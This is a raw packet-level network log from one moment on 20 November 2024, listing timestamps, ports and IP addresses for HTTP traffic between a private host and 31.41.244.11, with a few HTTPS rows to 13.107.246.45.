Nov 20, 2024 04:08:11.678683996 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.678699970 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.678709984 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.678719044 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.678738117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.678754091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.678775072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.678786039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.678786039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.678786039 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.678800106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.678834915 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.678855896 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689167976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689184904 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689201117 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689244032 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689255953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689274073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689274073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689295053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689313889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689320087 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689341068 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689352036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689368963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689387083 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689388990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689405918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689423084 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689424038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689438105 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689464092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689464092 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689481974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689501047 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689502001 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689518929 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689519882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689538002 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689560890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689589977 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689599037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689616919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689625978 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689634085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689650059 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689651012 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.689688921 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.689706087 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.726874113 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.726922035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.726939917 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.726955891 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.726962090 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.726974964 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727005959 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727015018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727034092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727050066 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727063894 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727082014 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727082014 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727111101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727125883 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727128029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727145910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727148056 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727160931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727169037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727178097 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727212906 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727227926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727230072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727227926 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727250099 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727260113 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727266073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727281094 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727282047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727302074 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727303982 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727328062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727335930 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727344990 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727355003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727365971 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727380037 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727381945 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727401018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727402925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727416992 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727423906 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727447033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727462053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727464914 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727478981 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727489948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727498055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727514029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727528095 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727531910 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727550030 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727566004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727581024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727583885 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727585077 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727597952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727612019 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727617979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727628946 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727657080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727664948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727679968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727684021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727700949 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727716923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727727890 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727735043 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727746964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727752924 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727771997 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727787018 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727788925 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727806091 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727823973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727833033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727833033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727843046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727859974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.727883101 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.727919102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.728667021 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.728689909 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.728718042 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.728728056 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.728738070 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.728755951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.728770018 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.728775024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.728794098 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.728813887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.728842974 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.728919983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.728919983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.728919983 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729316950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729382038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729413986 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729429960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729448080 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729465008 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729475975 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729480982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729510069 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729521036 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729535103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729552984 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729567051 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729578972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729583979 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729597092 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729621887 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729628086 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729640961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729657888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729674101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729684114 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729691982 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729706049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729712963 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729724884 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729731083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729749918 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729763031 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729774952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729793072 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729801893 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729811907 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729830027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729842901 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729845047 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729863882 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729882002 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729891062 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729907036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729917049 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729933023 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729933977 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729950905 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729960918 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729969025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.729980946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.729989052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730000019 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730025053 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730026960 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730046988 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730048895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730066061 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730072021 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730091095 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730094910 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730113983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730123997 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730138063 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730144024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730156898 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730163097 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730175972 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730200052 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.730204105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730204105 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730227947 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.730246067 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.771367073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.771397114 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.771404028 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.771411896 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.771428108 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.771435976 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.771445036 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.771454096 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.771512985 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.771569967 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.798177004 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798202991 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798213005 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798219919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798228979 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798243999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798252106 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798259974 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798269033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798288107 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798304081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798319101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798324108 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.798338890 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798357010 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798357964 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.798377037 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798378944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.798393965 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798402071 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.798410892 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798429966 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798444033 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.798456907 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798474073 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798482895 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.798494101 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.798516035 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.798553944 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.801826000 CET	443	62445	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.802572966 CET	62445	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.802614927 CET	443	62444	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.802618027 CET	443	62445	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.802953005 CET	62444	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.803020954 CET	443	62444	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.803328037 CET	62445	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.803337097 CET	443	62445	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.803596973 CET	62444	443	192.168.2.4	13.107.246.45
Nov 20, 2024 04:08:11.803616047 CET	443	62444	13.107.246.45	192.168.2.4
Nov 20, 2024 04:08:11.815224886 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815346003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815623999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815645933 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815664053 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815680027 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815690994 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815696955 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815721035 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815735102 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815752029 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815776110 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815781116 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815797091 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815810919 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815828085 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815834999 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815848112 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815859079 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815876961 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815879107 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815893888 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815902948 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815911055 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815922976 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815928936 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815943003 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815947056 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815963030 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.815974951 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815994024 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.815994024 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816010952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816023111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816023111 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816030025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816042900 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816051006 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816065073 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816071033 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816082001 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816104889 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816106081 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816124916 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816124916 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816138983 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816145897 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816157103 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816168070 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816178083 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816205025 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816216946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816220999 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816216946 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816237926 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816241980 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816256046 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816257954 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816271067 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816287041 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816293955 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816303968 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816322088 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816333055 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816340923 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816360950 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816368103 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816381931 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816390038 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816396952 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816415071 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816425085 CET	62430	80	192.168.2.4	31.41.244.11
Nov 20, 2024 04:08:11.816432953 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816447973 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816463947 CET	80	62430	31.41.244.11	192.168.2.4
Nov 20, 2024 04:08:11.816468954 CET	62430	80	192.168.2.4	31.41.244.11
